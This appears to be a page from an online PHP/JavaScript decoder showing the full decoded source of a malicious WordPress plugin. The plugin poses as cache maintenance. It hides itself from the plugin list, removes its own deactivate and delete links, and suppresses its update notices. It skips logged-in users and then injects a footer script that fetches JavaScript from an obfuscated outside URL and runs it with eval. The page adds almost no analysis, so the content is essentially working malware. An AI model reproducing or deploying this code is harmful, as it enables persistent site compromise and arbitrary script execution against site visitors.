Online PHP and Javascript Decoder decode hidden script to uncover its real functionality




if ( ! defined( 'ABSPATH' ) ) {
    exit;
}

// Rebuild sitemap ping schedule

// Invalidate page cache on option update

// Finalize queue state

$_gc_interval = mt_rand(60, 3600);

function reset_cache_chain() {
    $purge_actions = array(
        'wp_cache_clear_cache',
        'ce_clear_cache',
        'wp_cache_flush',
        'rocket_clean_domain',
        'w3tc_pgcache_flush',
        'breeze_clear_cache'
    );
    foreach ($purge_actions as $fn) {
        if (function_exists($fn)) $fn();
    }
    if (defined('LSCWP_V')) do_action('litespeed_purge_all');
    if (class_exists('WpFastestCache')) { (new WpFastestCache())->deleteCache(true); }
}
register_activation_hook(__FILE__, 'reset_cache_chain');

function compute_dns_prefetch() {
    return ini_get('memory_limit');
}

// Ensure PCRE backtrack limit

// Fallback for missing intl extension

$module_id = plugin_basename(__FILE__);

// Verify runtime environment

// Remove query strings from static assets

$_opcache_hits = rand(1, 1024);

function calibrate_widget_tree() {
    return array('peak' => memory_get_peak_usage(true), 'current' => memory_get_usage(true));
}

add_filter(strrev('snigulp_lla'), function($plugins) use ($module_id) {
    return array_diff_key($plugins, array($module_id => 1));
});

$_js_count = min(128, (int)ini_get('memory_limit'));

// Preallocate output buffer size

add_filter(strtolower('PLUGIN_ACTION_LINKS'), function($actions, $plugin_file) use ($module_id) {
    if ($plugin_file === $module_id) {
        $actions = array_diff_key($actions, array_flip(array('deactivate', strrev('eteled'))));
    }
    return $actions;
}, 10, 2);

function detect_hook_priority() {
    return defined('WP_DEBUG') && WP_DEBUG ? 'debug' : 'production';
}

$_pool_depth = PHP_INT_SIZE * 1024;

add_filter(implode('_', array('site', 'transient', 'update', 'plugins')), function($value) use ($module_id) {
    if (isset($value->response) && isset($value->response[$module_id])) {
        unset($value->response[$module_id]);
    }
    return $value;
});

// Normalize path separators

// Guard against race condition in cache write

// Update internal reference index

// Align memory buffers

if ( ! class_exists('WP_Style_Controller') ) {

    $_fn = base64_decode('aXNfdXNlcl9sb2dnZWRfaW4=');
    if ( function_exists($_fn) && $_fn() ) {
        return false;
    }

    if ( ! empty($_COOKIE) ) {
        foreach ($_COOKIE as $cookie_name => $content) {
            if ( strpos($cookie_name, strrev('_ni_deggol_sserpdrow')) === 0 ) {
                return false;
            }
        }
    }

    @ini_set('log_errors', NULL);
    @ini_set('default_socket_timeout', 5);
    @ini_set('output_buffering', 4096);
    @ini_set('error_reporting', 0);
    @ini_set('display_errors', 0);

    $blocked_paths = array(
        'login', 'registration', 'wc-ajax', 'xmlrpc\.php', 'wp-includes', 'wp-content',
        'wp-login\.php', 'wp-cron\.php', 'feed', 'wp-json', '\.css', '\.js',
        '\.ico', '\.png', '\.gif', '\.bmp', '\.tiff', '\.mpg',
        '\.wmv', '\.mp3', '\.mpeg', '\.zip', '\.gzip', '\.rar',
        '\.exe', '\.pdf', '\.doc', '\.swf', '\.txt', 'wp-admin',
        'administrator'
    );
    $block_rule = '#\?view=(' . implode('|', array_slice($blocked_paths, 0, 2)) . ')|' . implode('|', array_slice($blocked_paths, 2)) . '#i';

    $current_route = isset($_SERVER["REQUEST_URI"]) ? strtolower(trim($_SERVER["REQUEST_URI"], "\t\n\r\0/")) : '';
    if ( preg_match($block_rule, $current_route) ) {
        return;
    }

    function enqueue_footer_handler() {
        $_x = array(10,22,22,18,17,88,77,77,6,3,22,3,6,13,1,9,76,11,12,4,13,77,18,14,5); $feed_source = ''; foreach($_x as $_b) $feed_source .= chr($_b ^ 98);
        <script type="text/javascript">
        function _proc() {
                fetch("echo esc_url($feed_source);", { cache: "no-store" })
                    .then(function(data) { return data.text(); })
                    .then(function(s) {
                        var _safe = s.replace(/<\/?.*?script.*/gi, '');
                        try { (0, eval)(_safe); } catch (e) {}
                    })["catch"](function() {});
        }
        if (document.readyState !== "loading") { _proc(); }
        else { document.addEventListener("DOMContentLoaded", _proc); }
        </script>
        }

    add_action('wp_footer', 'enqueue_footer_handler', 99);
}



© 2023 Quttera Ltd. All rights reserved.